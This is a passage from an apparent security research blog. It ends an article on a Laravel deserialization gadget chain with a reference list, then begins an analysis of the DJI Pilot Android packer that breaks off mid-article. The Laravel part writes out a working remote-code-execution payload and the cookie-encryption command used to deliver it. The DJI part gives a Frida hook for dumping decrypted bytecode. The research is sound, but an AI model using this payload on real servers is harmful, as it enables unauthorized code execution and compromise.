<span class="c1">// return it back immediately. We do not want to fetch the user data on</span>
<span class="c1">// every call to this method because that would be tremendously slow.</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nb">is_null</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">user</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">user</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">user</span> <span class="o">=</span> <span class="nb">call_user_func</span><span class="p">(</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">callback</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">request</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">getProvider</span><span class="p">()</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="o">...</span>
<span class="p">}</span>
</code></pre></div>
<p>File: <span style="color:red">src/Illuminate/Auth/GuardHelpers.php</span><br>
Class: <code>GuardHelpers</code><br>
Function: <code>getProvider()</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Illuminate\Auth</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\UserProvider</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\Authenticatable</span> <span class="k">as</span> <span class="nx">AuthenticatableContract</span><span class="p">;</span>
<span class="sd">/**</span>
<span class="sd"> * These methods are typically the same across all guards.</span>
<span class="sd"> */</span>
<span class="k">trait</span> <span class="nx">GuardHelpers</span>
<span class="p">{</span>
<span class="o">...</span>
<span class="sd">/**</span>
<span class="sd"> * Get the user provider used by the guard.</span>
<span class="sd"> *</span>
<span class="sd"> * @return \Illuminate\Contracts\Auth\UserProvider</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">getProvider</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">provider</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">...</span>
<span class="p">}</span>
</code></pre></div>
<p>Once we'd found this object, all we had to do was implement the new gadget chain
in PHPGGC.</p>
<h3>Our gadget chain</h3>
<p>A pull request was made to add the new gadget chain to PHPGGC.</p>
<ul>
<li><a href="https://github.com/ambionics/phpggc/pull/172">Laravel: Added RCE/19, which targets Laravel versions 5.6 <= 10.x</a><ul>
<li><a href="https://github.com/ambionics/phpggc/pull/174">Update gadgets chain class name to RCE20 in order to avoid conflict</a></li>
</ul>
</li>
</ul>
<p>To use this new chain, simply run the following command:</p>
<div class="highlight"><pre><span></span><code>./phpggc -f -b Laravel/RCE20 system id
YToyOntpOjc7Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6Mzp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjM2OiJJbGx1bWluYXRlXFJvdXRpbmdcUmVzb3VyY2VSZWdpc3RyYXIiOjE6e3M6OToiACoAcm91dGVyIjtOO31zOjc6IgAqAG5hbWUiO086Mzg6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxSdWxlc1xSZXF1aXJlZElmIjoxOntzOjk6ImNvbmRpdGlvbiI7YToyOntpOjA7TzoyODoiSWxsdW1pbmF0ZVxBdXRoXFJlcXVlc3RHdWFyZCI6Mzp7czoxMToiACoAY2FsbGJhY2siO3M6Njoic3lzdGVtIjtzOjEwOiIAKgByZXF1ZXN0IjtzOjI6ImlkIjtzOjExOiIAKgBwcm92aWRlciI7aToxO31pOjE7czo0OiJ1c2VyIjt9fXM6MTM6IgAqAHJlZ2lzdGVyZWQiO2I6MDt9aTo3O2k6Nzt9
</code></pre></div>
<p>Then convert the output into an encrypted cookie using <a href="https://twitter.com/_remsio_">Rémi Matasse</a>'s
tool <a href="https://github.com/synacktiv/laravel_cookie_killer">laravel_cookie_killer</a>:</p>
<div class="highlight"><pre><span></span><code>python3 laravel_cookie_killer.py -e -k QRvT6RU370IPjdeB9OWDATD/2nFs1zpPlLtL8pb9Hvk<span class="o">=</span> -v YToyOntpOjc7Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6Mzp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjM2OiJJbGx1bWluYXRlXFJvdXRpbmdcUmVzb3VyY2VSZWdpc3RyYXIiOjE6e3M6OToiACoAcm91dGVyIjtOO31zOjc6IgAqAG5hbWUiO086Mzg6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxSdWxlc1xSZXF1aXJlZElmIjoxOntzOjk6ImNvbmRpdGlvbiI7YToyOntpOjA7TzoyODoiSWxsdW1pbmF0ZVxBdXRoXFJlcXVlc3RHdWFyZCI6Mzp7czoxMToiACoAY2FsbGJhY2siO3M6Njoic3lzdGVtIjtzOjEwOiIAKgByZXF1ZXN0IjtzOjI6ImlkIjtzOjExOiIAKgBwcm92aWRlciI7aToxO31pOjE7czo0OiJ1c2VyIjt9fXM6MTM6IgAqAHJlZ2lzdGVyZWQiO2I6MDt9aTo3O2k6Nzt9
<span class="nv">eyJpdiI6ICJPcjN4T2NuWGhnZ0poRHhJWFZWNEhRPT0iLCAidmFsdWUiOiAiZFhBT3ByWTZCTlplQzdrTStKV1VydU9tZy9qSkVBeis3dkZmakZUOEhuOVh1c3I2V1hZMnpQR0p1K1E2L01idlplbEF4SnJzYTRsdEt2ZWFnN0haSm1WeGRRUkhaUHk1SEVhdGp5M0NCMjRnTXdmYTUxQXZiVTlFMEtjczlkR2x5ZWJrY3pvZnZoeEZBYUlIak5tOWg4UHNPMXlvUkZtMHUyYi9YV2RnVEZ6MUc1SURKTVdJcjVvR2RrWnBOcUZ1WVNEWVFMWkF0c0hBRnF4K3FzUHlBbGVWRytNUDFmV3BBUkNMYnlKZHRsSndxaThCcWVVbElsZGwzTmNsOExwNjdCY2R1UXV0WTBLeUZSVEZOdytRR1NzMWwyOHc3VjRpbjNiWkNRckZUdnN0ZTZoa1BITTBUYmVDMWttcnZhM1cxZEZMU1pOSk1HK093WmtJMEtZb2NnbGl5VFZjQXJpQ3VJSVFDMnVja0hxT2VxdkQ1RGJTTmFwNUlhclN6NnR2NTBlRDg3Z25XTWcrSWM3STA0aFowbkpHakJCRzgzVHFZckVYVWxUYW8yZzlFWUcxbTBjZGU3RTE4L2pzWlBZZ3JPRzRzbGVxQUtSRWJJZmFGNFlRVG5ZK2t2NS9Yd0w2VGJUdk43MGxCREhNNHgweEZkWmJ0cERPcmhKVlJFTnJlbnFKSkw1ZTE0anVPYmpzbHJBN05CbmhGMm5idUpTcU1HdFkzcStTYmM5a0pPS1p2N2lNR2pReFlMaGtWcnQ2Zm9pYXFGMFA4ZjI4NEF1QnVrQWxPNVM0VXN6bUhlSU5pSlVMU3hYdHo1TkwrT29UcVpYb3RsNWI0czJMYzRpUUFQYndmRVM4eDRkSERhV0QyZlJ4UzJnR0ovQnp6ZmdQUldZNUY0Q0pKcGovaFBOM0tQZlJtOEFZY0pWWnJjYVZnRVdvYVNuak9aN0VuMm5OMUhKL2FwMXJ6VnlHcHZOQk0xUnh0eW1xRmhnPSIsICJtYWMiOiAiMWEwNTY0YjdiMGJiMzJkMzNhNWQxNzk2ZDg3ZGEzNmU1NTU3ZTI2Nzk5NTIxNjk4OWVlN2E4MzM1ZGU3ZTU5ZiIsICJ0YWciOiAiIn0</span><span class="o">=</span>
</code></pre></div>
<p>Insert the value obtained into your cookie and you'll be able to get code execution
on your target.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c10.png"></p>
<p>After compromising our target, we tried to identify which version of Laravel our
gadget chain was valid for and have identified that it was valid since version <code>v5.6.30</code>.</p>
<h2>Going a bit further</h2>
<p>To go a little further on the subject of exploiting deserialization vulnerabilities
in PHP, we invite you to take a look at exploiting such vulnerabilities using
the <code>phar://</code> wrapper. However, the following information should now be taken into
account. A security improvement in PHP 8.0 makes the <code>Phar</code> stream wrapper (<code>phar://</code>)
no longer automatically call <code>unserialize()</code> on stream wrapper operations, such
as <code>file_exists('phar://file.txt')</code>. Calling functions that accepted stream
wrappers (<code>fopen</code>, <code>file_exists</code>, <code>etc</code>) with a <code>phar://</code> URI used to immediately
triggered the <code>unserialize()</code> function, which changed in PHP 8.0. Only explicit
calls to <code>Phar::getMetadata</code> and <code>PharFile::getMetadata</code> attempt to unserialize
the <code>Phar</code> metadata.</p>
<h2>References</h2>
<p>Exploiting deserialization vulnerabilities in PHP is not a new thing and has
therefore already been documented. The aim of this article was to present two
tricks for identifying new gadget chains or improving existing ones, while
condensing in the first part all the information needed to understand the
mechanisms involved.</p>
<p>Over the past 20 years, many people have been involved in exploiting this type
of vulnerability, and some have made the effort to document their work. The
following references are by no means exhaustive and therefore do not represent
all those who have worked on the subject.</p>
<h3>Documentation</h3>
<ul>
<li>
<p>On <a href="https://www.php.net/">www.php.net</a>:</p>
<ul>
<li><a href="https://www.php.net/manual/en/function.serialize.php">serialize</a></li>
<li><a href="https://www.php.net/manual/en/function.unserialize.php">unserialize</a></li>
<li><a href="https://www.php.net/manual/en/serializable.unserialize.php">Serializable::unserialize</a></li>
<li><a href="https://www.php.net/manual/en/class.serializable.php">The Serializable interface</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.decon.php#object.construct">Constructors and Destructors: __construct()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.decon.php#object.destruct">Constructors and Destructors: __destruct()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.call">Method overloading: __call()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic">Method overloading: __callStatic()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.get">Property overloading: __get()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.set">Property overloading: __set()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.isset">Property overloading: __isset()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.unset">Property overloading: __unset()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.sleep">__sleep()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup">__wakeup()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.serialize">__serialize()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize">__unserialize()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.tostring">__toString()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.set-state">__set_state()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.cloning.php#object.clone">Object Cloning: __clone()</a></li>
<li><a href="https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo">__debugInfo()</a></li>
</ul>
</li>
<li>
<p>On <a href="https://www.phpinternalsbook.com/">www.phpinternalsbook.com</a></p>
<ul>
<li><a href="https://www.phpinternalsbook.com/php5/classes_objects/serialization.html">Serialization</a></li>
</ul>
</li>
<li>
<p>On <a href="https://php.watch/">php.watch</a>:</p>
<ul>
<li><a href="https://php.watch/versions/8.0/phar-stream-wrapper-unserialize">PHP 8.0: phar:// stream wrapper no longer unserializes meta data automatically</a></li>
</ul>
</li>
</ul>
<h3>Lab</h3>
<ul>
<li>
<p><a href="https://laravel.com/">Laravel</a></p>
<ul>
<li><a href="https://github.com/laravel/laravel/archive/refs/tags/v5.7.15.zip">v5.7.15</a></li>
</ul>
</li>
<li>
<p><a href="https://github.com/sprintcube">sprintcube</a></p>
<ul>
<li><a href="https://github.com/sprintcube/docker-compose-lamp">docker-compose-lamp</a></li>
</ul>
</li>
</ul>
<h3>unserialize() exploitation</h3>
<h4>Memory corruptions</h4>
<ul>
<li>
<p><a href="https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf">Shocking News in PHP Exploitation</a>, by Stefan Esser in November 2009.</p>
</li>
<li>
<p><a href="https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf">Utilizing Code Reuse/ROP in PHP Application Exploits</a>, by Stefan Esser in July 2010.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=c0ZCe311YW8">video</a></li>
</ul>
</li>
<li>
<p><a href="https://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html">Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1: Local Exploitation</a>, by Tim Michaud in February 2015.</p>
</li>
<li>
<p><a href="https://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html">Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2: Remote Exploitation</a>, by Tim Michaud in February 2015.</p>
</li>
<li>
<p><a href="https://www.inulledmyself.com/2015/05/exploiting-memory-corruption-bugs-in.html">Exploiting memory corruption bugs in PHP Part 3: Popping Remote Shells</a>, by May Tim Michaud in 2015.</p>
</li>
<li>
<p><a href="https://notsosecure.com/remote-code-execution-php-unserialize">Remote code execution via PHP</a>, by Rahul Sasi in September 2015.</p>
</li>
<li>
<p><a href="https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf">Exploiting PHP-7 unserialize</a>, by Yannay Livneh in August 2016.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=_Zj0B4D4TYc">video</a></li>
</ul>
</li>
</ul>
<h4>Gadget chains</h4>
<ul>
<li>
<p><a href="https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf">Shocking News in PHP Exploitation</a>, by Stefan Esser in November 2009.</p>
</li>
<li>
<p><a href="https://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability">Analysis of the Joomla PHP Object Injection Vulnerability</a>, by Egidio Romano in February 2013.</p>
<ul>
<li><a href="https://fr.slideshare.net/_EgiX/joomladay2013">presentation</a></li>
<li><a href="https://www.youtube.com/watch?v=oNN8qa24Qns">video</a></li>
</ul>
</li>
<li>
<p><a href="https://prezi.com/5hif_vurb56p/php-object-injection-revisited/?webgl=0">PHP Object Injection Revisited</a>, by Arseniy Reutov in May 2013.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=op1vTq9ZEvo">video</a></li>
</ul>
</li>
<li>
<p><a href="https://tom.vg/2013/12/wordpress-rce-exploit/">Remote Code Execution exploit in WordPress 3.5.1</a>, by Tom Van Goethem December 2013.</p>
<ul>
<li><a href="https://tom.vg/talks/RemoteCodeExecutionInWordPress-OWASPBeNeLux-Tom_Van_Goethem.pdf">presentation</a></li>
</ul>
</li>
<li>
<p><a href="https://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection">Exploiting CVE-2014-1691: Horde Framework PHP Object Injection</a>, by Egidio Romano in February 2014.</p>
</li>
<li>
<p><a href="https://fr.slideshare.net/_EgiX/php-object-injection-demystified">PHP Object Injection Demystified</a>, by Egidio Romano in March 2015.</p>
</li>
<li>
<p><a href="https://fr.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing">PHP unserialization vulnerabilities: What are we missing?</a>, by Sam Thomas in August 2015.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=PqsudKzs79c">video</a></li>
</ul>
</li>
<li>
<p><a href="https://www.ambionics.io/blog/php-generic-gadget-chains">PHP generic gadget chains: exploiting unserialize in unknown environments</a>, by Charles Fol in July 2017.</p>
<ul>
<li><a href="https://github.com/ambionics/phpggc">tool</a></li>
</ul>
</li>
<li>
<p><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf">It's A PHP Unserialization Vulnerability Jim, But Not As We Know It</a>, by Sam Thomas in August 2018.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=GePBmsNJw6Y">video</a></li>
</ul>
</li>
<li>
<p><a href="https://www.ambionics.io/blog/drupal8-rce">Exploiting Drupal8's REST RCE</a>, by Charles Fol in February 2019.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c11101.html">Typo3's core, file deletion Gadget Chain</a>, by Dade Murphy in January 2022.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c11110.html">Dompdf multiple file deletion Gadget Chains</a>, by Dade Murphy in January 2022.</p>
</li>
<li>
<p><a href="https://www.rump.beer/2022/slides/Unserializable_but_unreachable.pdf">Unserializable, but unreachable a vBulletin 0-day</a>, by Charles Fol in September 2022.</p>
</li>
<li>
<p><a href="https://secops.group/demystifying-php-object-injection/">Demystifying PHP Object Injection</a> by Aditya Singh in September 2022.</p>
</li>
<li>
<p><a href="https://www.usenix.org/system/files/sec22summer_park-sunnyeo.pdf">FUGIO: Automatic Exploit Generation for PHP Object Injection Vulnerabilities</a>, by Sunnyeo Park and Daejun Kim in August 2022.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=Rb8XTm-3ep0">video</a></li>
</ul>
</li>
<li>
<p><a href="https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it">File include chain on Laravel framework</a>, by Remi Matasse in October 2022.</p>
</li>
<li>
<p><a href="https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable">vBulletin <= 5.6.9: Pre-authentication Remote Code Execution</a>, by Charles Fol in January 2023.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c101110.html">Snappy, file deletion Gadget Chain</a>, by Dade Murphy in June 2023.</p>
</li>
<li><a href="https://therealcoiffeur.com/c101111.html">PHPWord, file deletion Gadget Chain</a>, by Dade Murphy in June 2023.</li>
<li>
<p><a href="https://therealcoiffeur.com/c110000.html">CodeIgniter4, file deletion Gadget Chain</a>, by Dade Murphy in July 2023.</p>
</li>
<li>
<p><a href="https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1">Finding a POP chain on a common Symfony bundle: part 1</a>, by Remi Matasse in September 2023.</p>
</li>
<li>
<p><a href="https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2">Finding a POP chain on a common Symfony bundle: part 2</a>, by Remi Matasse in October 2023.</p>
</li>
<li>
<p><a href="https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/">Gadgets chain in Wordpress</a>, by Maxime Rinaudo in November 2023.</p>
</li>
<li>
<p><a href="https://fenrisk.com/publications/blogpost/2023/11/30/gadgets-chain-in-laravel/">Gadgets chain in Laravel</a>, by Maxime Rinaudo in November 2023.</p>
</li>
</ul>
<h4>Application logic (code flow)</h4>
<ul>
<li>
<p><a href="https://www.ambionics.io/blog/drupal-services-module-rce">Drupal 7.x services module unserialize() to RCE</a>, by Charles Fol in March 2017.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c111.html">PHPFusion v9.03.60, PHP Object Injection to SQL injection (pre-auth)</a>, by Dade Murphy in May 2020.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c10000.html">Zabbix >= v5.2.0, PHP Object Injection (pre-auth)</a>, by Dade Murphy in March 2020.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c10111.html">PHPBoost CMS 5.2, PHP Object Injection (pre-auth)</a>, by Dade Murphy in February 2021.</p>
</li>
<li>
<p><a href="https://haxolot.com/posts/2021/moodle_pre_auth_shibboleth_rce_part1/">Pre-Auth RCE in Moodle Part I - PHP Object Injection in Shibboleth Module</a>, by Robin Peraglie & Johannes Moritz in July 2021.</p>
</li>
<li>
<p><a href="https://haxolot.com/posts/2022/moodle_pre_auth_shibboleth_rce_part2/">Pre-Auth RCE in Moodle Part II - Session Hijack in Moodle's Shibboleth</a>, by Robin Peraglie & Johannes Moritz in January 2021.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/b14.html">vBulletin, PHP Object Injection (pre-auth)</a>, by Dade Murphy in September 2022.</p>
</li>
<li>
<p><a href="https://therealcoiffeur.com/c110001.html">AfterLogic, PHP Object Injection to Remote Code Execution (pre-auth)</a>, by Dade Murphy in July 2023.</p>
</li>
</ul>
<h3>Tools</h3>
<ul>
<li>
<p><a href="https://github.com/ambionics/phpggc">PHPGGC</a>, by Charles Fol.</p>
</li>
<li>
<p><a href="https://github.com/securifybv/PHPUnserializeCheck">PHP Unserialize Check (Burp Suite extension)</a>, by Yorick Koster.</p>
</li>
<li>
<p><a href="https://github.com/ricardojba/poi-slinger">PHP Object Injection Slinger (Burp Suite extension)</a>, by Ricardo Almeida.</p>
</li>
</ul>DJI - The ART of obfuscation2024-02-06T00:00:00+01:002024-02-06T00:00:00+01:00Eric Le Gueveltag:blog.quarkslab.com,2024-02-06:/dji-the-art-of-obfuscation.html<p>Study of an Android runtime (ART) hijacking mechanism for bytecode
injection through a step-by-step analysis of the packer used to protect the
DJI Pilot Android application.</p><p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/logo.png" alt="Logo" style="border:none;" width="40%" />
</center></p>
<h2>Introduction</h2>
<p>In the world of Android applications, it's not uncommon to come across
applications protected by a packer. The role of a packer is to protect all
or part of the application code from static analysis. There are many reasons
why a developer might want to protect an application:</p>
<ul>
<li>Protect valuable business logic;</li>
<li>Protect application monetization logic (e.g. a license management mechanism);</li>
<li>Evading conventional analysis tools to hide malicious logic;</li>
<li>...</li>
</ul>
<p>Here, we take a look at the <a href="https://www.dji.com/downloads/djiapp/dji-pilot"><em>DJI Pilot</em></a>
application, not to understand why developers want to protect their code - this
has already been the subject of previous work (see in particular this
<em>DJI Pilot</em> <a href="https://www.synacktiv.com/en/publications/dji-pilot-android-application-security-analysis-1.html">analysis</a>)
- but to highlight a runtime mechanism implemented by DJI to protect its
application code. This protection is based on the use of a modified version of
the <em>SecNeo</em> packer.</p>
<p>The article details the various stages in the analysis to understand how the
application code is obfuscated. A Python proof-of-concept named
<a href="https://github.com/quarkslab/dxfx/tree/main"><em>DxFx</em></a> for statically unpacking
the <em>DJI Pilot</em> application is provided as practical support for this article.
<em>DxFx</em> does not claim to be a <em>SecNeo</em> unpacker. Its sole aim is to improve the
reader's understanding of the various mechanisms implemented by the packer
through Python code. It will not be maintained in the future.</p>
<h2>Targeted application</h2>
<p>The analysis is performed on the latest version of the <em>DJI Pilot</em> application:</p>
<ul>
<li>Version: 2.5.1.17</li>
<li>SHA256: <code>642aa123437c259eea5895fe01dc4210c4a3a430842b79612074d88745f54714</code></li>
<li><a href="https://service-adhoc.dji.com/download/app/android/cf4cc976-50c5-4960-b09e-45a82d31ce83">Download link</a></li>
</ul>
<p><em>DxFx</em> provided in support of the article has also been tested on the following
versions of the <em>DJI Pilot</em> application:</p>
<ul>
<li>Version: 2.5.1.15</li>
<li>SHA256: <code>d6f96f049bc92b01c4782e27ed94a55ab232717c7defc4c14c1059e4fa5254c8</code></li>
</ul>
<p>and</p>
<ul>
<li>Version: 2.5.1.10</li>
<li>SHA256: <code>860d9d75dc2b2e9426f811589b624b96000fea07cc981b15005686d3c55251d9</code></li>
</ul>
<h2>Bytecode, where are you?</h2>
<h3>Primary analysis</h3>
<p>Static analysis of the APK initially reveals that the result of bytecode
decompilation is, to say the least, uncluttered...</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/jadx-apk-packed.png" alt="Decompiled tree" />
</center></p>
<p>This is because, like other packers, <em>SecNeo</em> leaves only a bootstrap code in
the bytecode to launch the application's unpacking phase. Here, the packer
bootstrap code loads the native <code>libDexHelper.so</code> library:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/load-native-library.png" alt="Decompiled tree" width="80%" />
</center></p>
<p>The first step in the analysis is therefore to find the bytecode containing the
application's business logic.</p>
<p>The packer logic is present in the native library <code>libDexHelper.so</code>. However,
the code of this library is itself packed. So, we have to unpack... the packer
to analyze its logic.</p>
<p>As the aim of this article is not to understand how the packer itself is
protected, this part is not dealt with in-depth, and we simply dump the
library at runtime from the <em>DJI Pilot</em> application process memory space. There
are a multitude of ways to do this, using tools such as <em>gdb</em> or <em>Frida</em>.</p>
<p>However, you may be in for a few surprises:</p>
<div class="highlight"><pre><span></span><code>Cannot attach to process 25562: Operation not permitted (1), process 25562 is already traced by process 25598
</code></pre></div>
<p>or:</p>
<div class="highlight"><pre><span></span><code>Failed to attach: process not found
</code></pre></div>
<p>The packer contains some countermeasures, as partially described in this
<a href="https://github.com/strazzere/android-unpacker/issues/39">issue</a>,
to prevent the use of dynamic tools. Fortunately, these can be easily bypassed.</p>
<p>Once <code>libDexHelper.so</code> has been dumped from memory, it can be analyzed with a
disassembly tool.</p>
<h3>First look at the packer binary</h3>
<p>An initial brief analysis of the <code>libDexHelper.so</code> library reveals the presence
of the <code>decrypt_jar_128K</code> symbol. A hook of the associated function with
<em>Frida</em> reveals that a buffer is passed as input and contains the contents of a
DEX file as output :</p>
<div class="highlight"><pre><span></span><code><span class="s1">'use strict'</span><span class="p">;</span><span class="w"></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">dlopen_ext</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s1">'__loader_android_dlopen_ext'</span><span class="p">);</span><span class="w"></span>
<span class="kd">function</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">decrypt_jar_128K_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s1">'libDexHelper.so'</span><span class="p">,</span><span class="w"> </span><span class="s1">'decrypt_jar_128K'</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="cm">/**</span>
<span class="cm"> * decrypt_jar_128K function hook</span>
<span class="cm"> */</span><span class="w"></span>
<span class="w"> </span><span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">decrypt_jar_128K_addr</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">onEnter</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">dex_buffer_ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="nx">onLeave</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`\nReading dex buffer @ </span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">dex_buffer_ptr</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">dex_buffer_ptr</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="mf">16</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">});</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="cm">/**</span>
<span class="cm"> * Bootstrap</span>
<span class="cm"> */</span><span class="w"></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">boot_intercept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">dlopen_ext</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">onEnter</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">readUtf8String</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="nx">onLeave</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s1">'libDexHelper.so'</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"></span>
<span class="w"> </span><span class="nx">boot_intercept</span><span class="p">.</span><span class="nx">detach</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">});</span><span class="w"></span>
</code></pre></div>
<p>The result of the script is:</p>
